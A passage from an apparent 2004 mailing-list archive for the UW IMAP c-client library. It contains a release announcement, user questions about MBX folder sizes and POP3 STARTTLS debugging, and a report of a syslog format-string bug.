MIIIrQYJKoZIhvcNAQcCoIIInjCCCJoCAQExCzAJBgUrDgMCGgUAMAsGCSqG SIb3DQEHAaCCBi8wggLoMIICUaADAgECAgMLmQ0wDQYJKoZIhvcNAQEEBQAw YjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQ dHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJ c3N1aW5nIENBMB4XDTA0MDEyOTE5NDY1M1oXDTA1MDEyODE5NDY1M1owXDEP MA0GA1UEBBMGRWRsdW5kMQ8wDQYDVQQqEwZIZW5yaWsxFjAUBgNVBAMTDUhl bnJpayBFZGx1bmQxIDAeBgkqhkiG9w0BCQEWEWhlbnJpa0BlZGx1bmQub3Jn MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0LtNVxqVDFBSHgBS OuP8jkLuW33UY56dI4TyX+j14fZjdLktwftqDdONdmcSRqz5lze4wT0yqw44 rdmEEJ1BmP+LFFAtjt5zGoTxT5/SUezkfFUD32uxgxrCVnyZGhkkwi0/azEK ZZ0oU7AQe15foXan5dTMFtpW66UW4iYNAZF7yEdECU0qS+hpu8oADE2m94TB oXVdjdfo88fUGYwbnkgTbCYzc+s04UBp1C3xcT0s07IYYlfBbTptX2ybJRgb mbTsO0YNQ+IzkLrYqt+slxMkR5gjrKd5dwF9EyH9vQ9Y8V9yZouuFRRVNurO 52+SRoTp4d0HQbGTkQyOX5E9VwIDAQABoy4wLDAcBgNVHREEFTATgRFoZW5y aWtAZWRsdW5kLm9yZzAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEBBAUAA4GB ALP5VrNVB1TsIqg5W+XXJDoXtNa0+L3lRSduDG8BXHhQej71NCUKPQAM7Ejm fVAFdCCVxitMrre5+ETtRHdJGRgJlnbgUr7hDpzVkTg4/Zce61LxzUqe5YLi bHW3fEcx66jEG0N+jm6aOQcAi479x8ISadp9nJpMwO8vLQXvR75UMIIDPzCC AqigAwIBAgIBDTANBgkqhkiG9w0BAQUFADCB0TELMAkGA1UEBhMCWkExFTAT BgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYD VQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlv biBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFs IEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFp bEB0aGF3dGUuY29tMB4XDTAzMDcxNzAwMDAwMFoXDTEzMDcxNjIzNTk1OVow YjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQ dHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJ c3N1aW5nIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEpjxVc1X7 TrnKmVoeaMB1BHCd3+n/ox7svc31W/Iadr1/DDph8r9RzgHU5VAKMNcCY1os iRVwjt3J8CuFWqo/cVbLrzwLB+fxH5E2JCoTzyvV84J3PQO+K/67GD4Hv0CA AmTXp6a7n2XRxSpUhQ9IBH+nttE8YQRAHmQZcmC3+wIDAQABo4GUMIGRMBIG A1UdEwEB/wQIMAYBAf8CAQAwQwYDVR0fBDwwOjA4oDagNIYyaHR0cDovL2Ny bC50aGF3dGUuY29tL1RoYXd0ZVBlcnNvbmFsRnJlZW1haWxDQS5jcmwwCwYD VR0PBAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFi ZWwyLTEzODANBgkqhkiG9w0BAQUFAAOBgQBIjNFQg+oLLswNo2asZw9/r6y+ whehQ5aUnX9MIbj4Nh+qLZ82L8D0HFAgk3A8/a3hYWLD2ToZfoSxmRsAxRoL gnSeJVCUYsfbJ3FXJY3dqZw5jowgT2Vfldr394fWxghOrvbqNOUQGls1TXfj ViF4gtwhGTXeJLHTHUb/XV9lT6EAMYICRDCCAkACAQEwaTBiMQswCQYDVQQG EwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEs MCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0EC AwuZDTAJBgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEw HAYJKoZIhvcNAQkFMQ8XDTA0MDcxMjE3MTUwNFowIwYJKoZIhvcNAQkEMRYE FK8AO3f04ZXyQf3H2mzb9KbuyIohMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZI hvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFAMAcGBSsOAwIH MA0GCCqGSIb3DQMCAgEoMA0GCSqGSIb3DQEBAQUABIIBAAJA+laDbdOCmxoo 3Li0eLi58eFVByzBnlNvDZYQOJzwK3+FQ7rWUBKKLPRWkzGOM0tk05o/d3ya a8caMcc87sVMuL6S7iwGiJsAIufIPNBgHeVJ5NGl3CTe+e3XSSdtpSulp3Ja u8K+92yXfZ1qPLMtd0ckTKt8Qtg6p8XHg+X6hIAip1fIcqdl7nyKTy/23Cos FFAENeXDXtfTmpS7d08o7Z8pickdibGEOKjV/9fvWFqp++i0MH/xhGcT9P1A 7FRWlaX1bc7WC9blm8USx2W7qwAut1i0M5+I3Zw+i/IlKnXXEFmhTnAuSJPG y1rqeSnG8BH2z8cAk1BCYm20Mxo= --1094583365-1478915396-1089652505=:26373-- From pinedev@shivax2.cac.washington.edu Thu Jul 15 15:33:17 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 15 Jul 2004 15:33:17 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6FMXHq6004694 for ; Thu, 15 Jul 2004 15:33:17 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6FMXGt8027785 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 15 Jul 2004 15:33:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i6FMWkti016038; Thu, 15 Jul 2004 15:32:46 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6FMQTK1122106 for ; Thu, 15 Jul 2004 15:26:29 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6FMQRFG001634 for ; Thu, 15 Jul 2004 15:26:28 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6FMQQDx024962 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 15 Jul 2004 15:26:26 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout3.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6FMQQIY007973; Thu, 15 Jul 2004 15:26:26 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6FMQQiW007341; Thu, 15 Jul 2004 15:26:26 -0700 Message-Id: Date: Thu, 15 Jul 2004 15:26:26 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: IMAP Interest List , c-client Interest List Subject: ANNOUNCING: University of Washington IMAP Toolkit version 2004a MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY_10 0, __DCC_FUZ1_10 0, __DCC_FUZ2_10 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is to announce the release of the University of Washington IMAP toolkit, version 2004a. It includes the c-client library; the ipop2d, ipop3d, and imapd servers; the dmail and tmail message delivery agents; and the mailutil utility program. imap-2004a is a maintenance release, consisting primarily of critical bugfixes. Programs written for imap-2004 will build with this version without modification. This version is available on: ftp://ftp.cac.washington.edu/mail/imap-2004a.tar.Z MD5 checksum = 34d2c66271302cd2f926094fb5e8705d imap-2004a contains the following enhancements, which are primarily of concern to system administrators: imapd now has a supported NNTP proxy capability. If the file /etc/imapd.nntp exists, the contents of that file are used as the host name of an NNTP server which will be used whenever a #news. name is used. For example, if /etc/imapd.nntp contains nntp.example.com, and the IMAP client SELECTs or EXAMINEs the name #news.comp.mail.imap, what will actually be opened in imapd is {nntp.example.com/nntp}comp.mail.imap The OSF/1 port (Digital UNIX, Tru64) now uses flocksim instead of flcksafe, since newer versions no longer have the BSD flock() call; and instead have a function which (incorrectly) emulates flock() via fcntl() locking. The unix[nt] and mmdf drivers now prevent mail_append() from writing Status:, X-Status:, X-UID, X-IMAP[base]:, and X-Keywords: header lines to a traditional UNIX or MMDF format mailbox. If any such lines are in the text supplied to mail_append(), they will be quoted by prefixing with "X-Original-" (e.g. Status: will become X-Original-Status:). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Mon Jul 19 20:46:27 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Jul 2004 20:46:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6K3kRBS022156 for ; Mon, 19 Jul 2004 20:46:27 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6K3kQ0w026582 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 19 Jul 2004 20:46:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i6K3iilx018366; Mon, 19 Jul 2004 20:44:45 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6K3cY6N034486 for ; Mon, 19 Jul 2004 20:38:34 -0700 Received: from rs15.luxsci.com (rs15.luxsci.com [65.61.166.71]) by mxe7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6K3cUoa003167 for ; Mon, 19 Jul 2004 20:38:31 -0700 Received: from luxsci.com (h00a0ccd40998.ne.client2.attbi.com [24.34.204.151]) (authenticated bits=0) by rs15.luxsci.com (8.12.11/8.12.10) with ESMTP id i6K3cTDY005589 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Mon, 19 Jul 2004 22:38:30 -0500 Message-Id: <40FC93B3.2040408@luxsci.com> Date: Mon, 19 Jul 2004 23:38:27 -0400 Reply-To: kangas@luxsci.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Erik Kangas To: c-client@u.washington.edu Subject: MBX Folders and file size after deletion In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, We have noticed that in some cases when a user deletes messages from a folder using IMAP (and then expunges the deleted messages) the physical size of the folder in question does not change. The case in point is with UW IMAP v2004 and MBX folders. Repeated deletions and expunges successfully remove large messages, but the physical folder remained [essentially] unchanged in size. This seems to happen sometimes, but not always. Under what conditions does this actually happen? Is there a way to force the imap server to garbage collect the mbx folders? Or is soemthing else going on? This is an important issue as, when this happens, the seemingly deleted/expunged messages still take up disk quota space for the users in question. Thank you for any pointers. -Erik Kangas / Lux Scientiae -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 20 14:20:20 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Jul 2004 14:20:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6KLKJHJ025174 for ; Tue, 20 Jul 2004 14:20:19 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6KLKITT018629 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Jul 2004 14:20:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i6KLIWjg013894; Tue, 20 Jul 2004 14:18:32 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6KLGl42105138 for ; Tue, 20 Jul 2004 14:16:47 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu8.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6KLGkGY013971 for ; Tue, 20 Jul 2004 14:16:46 -0700 Received: from ottl09.localdomain (gw-fortinet.storm.ca [209.87.237.228]) by mx2.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6KLGiAT028284 for ; Tue, 20 Jul 2004 14:16:45 -0700 Received: from ottl09.localdomain (localhost.localdomain [127.0.0.1]) by ottl09.localdomain (8.11.6/8.11.6) with ESMTP id i6KLGA322518 for c-client@CAC.Washington.EDU; Tue, 20 Jul 2004 17:16:10 -0400 Received: from mx1.cac.washington.edu by akbar.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA19927; Mon, 31 Aug 92 22:03:16 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA21670; Mon, 31 Aug 92 22:03:15 -0700 Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA21664; Mon, 31 Aug 92 22:03:14 -0700 Message-Id: Date: Mon, 31 Aug 1992 21:47:56 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Subject: welcome to the c-client interest list Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: c-client-request@cac.washington.edu X-IMAPbase: 1087854670 3371 X-Status: X-Keywords: X-UID: 1 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, SUBJECT_IS_LIST 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello. If you received this message, you are on the c-client interest list at the University of Washington. The purpose of this list is for discussion and announcements related to the c-client library for mail software. You are on this list because at some point in the past you expressed an interest in this topic. It is intended that this list be of a low-volume, high-signal, and technical nature. To post mail to this list, send mail to: c-client@CAC.Washington.EDU To request addition/deletions to the list, send mail to: c-client-request@CAC.Washington.EDU Related mailing lists which may be of interest: IMAP@CAC.Washington.EDU IMAP protocol pine-info@CAC.Washington.EDU Pine mail UA information ECS-info@EDM.ISAC.CA ECS (Windows IMAP client) information Regards, Mark Crispin Networks and Distributed Computing University of Washington -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 22 01:17:11 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Jul 2004 01:17:11 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6M8HBG5031307 for ; Thu, 22 Jul 2004 01:17:11 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6M8HA1Y007269 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 22 Jul 2004 01:17:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i6M8GlPg017946; Thu, 22 Jul 2004 01:16:47 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6M8EgAE068532 for ; Thu, 22 Jul 2004 01:14:42 -0700 Received: from ultra1.eskimo.com (ultra1.eskimo.com [204.122.16.64]) by mxe2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6M8EfNN005315 for ; Thu, 22 Jul 2004 01:14:41 -0700 Received: from eskimo.com (evol@eskimo.com [204.122.16.13]) by ultra1.eskimo.com (8.12.10/8.12.10) with ESMTP id i6M8EePL008791; Thu, 22 Jul 2004 01:14:40 -0700 Message-Id: Date: Thu, 22 Jul 2004 01:14:40 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Aaron Waller To: c-client@u.washington.edu Cc: david@tabatha.cosmicfires.net MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __SUBJ_MISSING 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, SUBJ_MISSING 0.000' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, In env_unix.c in imap-2002d and probably more code I have not got around to looking at yet. It's possible that it has already been addressed in later versions of imap if it has my apologies. there is a problem with a syslog function call that can lead to a segfault under certain conditions. on line number 632 in env_unix.c syslog (LOG_NOTICE|LOG_AUTHPRIV, "return status is %s", ret); should be "return status is %li", ret); looks like a null pointer is being passed to charecter string. but when this function is called the data is a long integer. when this function is called it causes a segfault and possibly could be a security issue. any thoughts ? thanks, -aaron -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 26 00:34:48 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 26 Jul 2004 00:34:47 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6Q7YlTf019041 for ; Mon, 26 Jul 2004 00:34:47 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6Q7YkHj026863 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 26 Jul 2004 00:34:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i6Q7WDKD015876; Mon, 26 Jul 2004 00:32:13 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6Q7Rjcd011204 for ; Mon, 26 Jul 2004 00:27:45 -0700 Received: from mango.cc.columbia.edu (mango.cc.columbia.edu [128.59.59.104]) by mxe2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6Q7RiI5006696 for ; Mon, 26 Jul 2004 00:27:45 -0700 Received: from mango.cc.columbia.edu (localhost [127.0.0.1]) by mango.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i6Q7RiUt018438 for ; Mon, 26 Jul 2004 03:27:44 -0400 (EDT) Received: (from selsky@localhost) by mango.cc.columbia.edu (8.12.11/8.12.3/Submit) id i6Q7Ri2f018437 for c-client@u.washington.edu; Mon, 26 Jul 2004 03:27:44 -0400 (EDT) Message-Id: <20040726072744.GA17068@columbia.edu> Date: Mon, 26 Jul 2004 03:27:44 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matt Selsky To: c-client@u.washington.edu Subject: can't seem to get pop starttls working Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I built imap-2004a on Solaris 9 (OpenSSL 0.9.7d) like so: $ make gso PASSWDTYPE=pmb SSLTYPE=nopwd SSLDIR=/opt/local \ SSLCERTS=/var/ssl EXTRALDFLAGS='-R/opt/local/lib' I'm able to connect securely via port 995 (pop3s), but I can't connect via 110 using starttls. $ openssl s_client -connect mailtest:110 -starttls pop3 CONNECTED(00000004) 16910:error:140790E5:SSL routines:SSL23_WRITE:ssl handshake failure:s23_lib.c:226: When I connect via netcat, and issue the capabilities command, I see starttls listed, but I get an immediate OK response when I issue the STLS command: $ nc mailtest 110 +OK POP3 mailtest 2004.88 server ready CAPA +OK Capability list follows: TOP LOGIN-DELAY 180 UIDL STLS . STLS +OK STLS completed IMAP is working for both starttls and ssl. How can I debug this further? Thanks. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 26 17:56:53 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 26 Jul 2004 17:56:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6R0urTR029481 for ; Mon, 26 Jul 2004 17:56:53 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6R0uqt9004069 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 26 Jul 2004 17:56:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i6R0tnHp017308; Mon, 26 Jul 2004 17:55:49 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6R0nDS7069134 for ; Mon, 26 Jul 2004 17:49:14 -0700 Received: from mango.cc.columbia.edu (mango.cc.columbia.edu [128.59.59.104]) by mxe2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6R0jSqW006114 for ; Mon, 26 Jul 2004 17:49:13 -0700 Received: from mango.cc.columbia.edu (localhost [127.0.0.1]) by mango.cc.columbia.edu (8.13.0/8.12.11) with ESMTP id i6QNxZ0A023741 for ; Mon, 26 Jul 2004 19:59:35 -0400 (EDT) Received: (from selsky@localhost) by mango.cc.columbia.edu (8.13.0/8.12.3/Submit) id i6QNxZqn023740 for c-client@u.washington.edu; Mon, 26 Jul 2004 19:59:35 -0400 (EDT) Message-Id: <20040726235935.GA21406@columbia.edu> Date: Mon, 26 Jul 2004 19:59:35 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matt Selsky To: c-client@u.washington.edu Subject: Re: can't seem to get pop starttls working In-Reply-To: <20040726072744.GA17068@columbia.edu> References: <20040726072744.GA17068@columbia.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN pop with starttls works when I force the use of TLSv1. $ openssl s_client -connect mailtest:110 -starttls pop3 -tls1 I guess the client I was testing is broken. But my original openssl command worked for starttls against a non-UWash pop3 server. On Mon, Jul 26, 2004 at 03:27:44AM -0400, Matt Selsky wrote: > I built imap-2004a on Solaris 9 (OpenSSL 0.9.7d) like so: > > $ make gso PASSWDTYPE=pmb SSLTYPE=nopwd SSLDIR=/opt/local \ > SSLCERTS=/var/ssl EXTRALDFLAGS='-R/opt/local/lib' > > I'm able to connect securely via port 995 (pop3s), but I can't connect > via 110 using starttls. > > $ openssl s_client -connect mailtest:110 -starttls pop3 > CONNECTED(00000004) > 16910:error:140790E5:SSL routines:SSL23_WRITE:ssl handshake failure:s23_lib.c:226: > > When I connect via netcat, and issue the capabilities command, I see > starttls listed, but I get an immediate OK response when I issue the > STLS command: > > $ nc mailtest 110 > +OK POP3 mailtest 2004.88 server ready > CAPA > +OK Capability list follows: > TOP > LOGIN-DELAY 180 > UIDL > STLS > . > STLS > +OK STLS completed > > IMAP is working for both starttls and ssl. How can I debug this > further? > > Thanks. > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 26 20:38:00 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 26 Jul 2004 20:38:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6R3bxVT001189 for ; Mon, 26 Jul 2004 20:37:59 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i6R3bwbG009200 (version=TLSv1/SSLv3 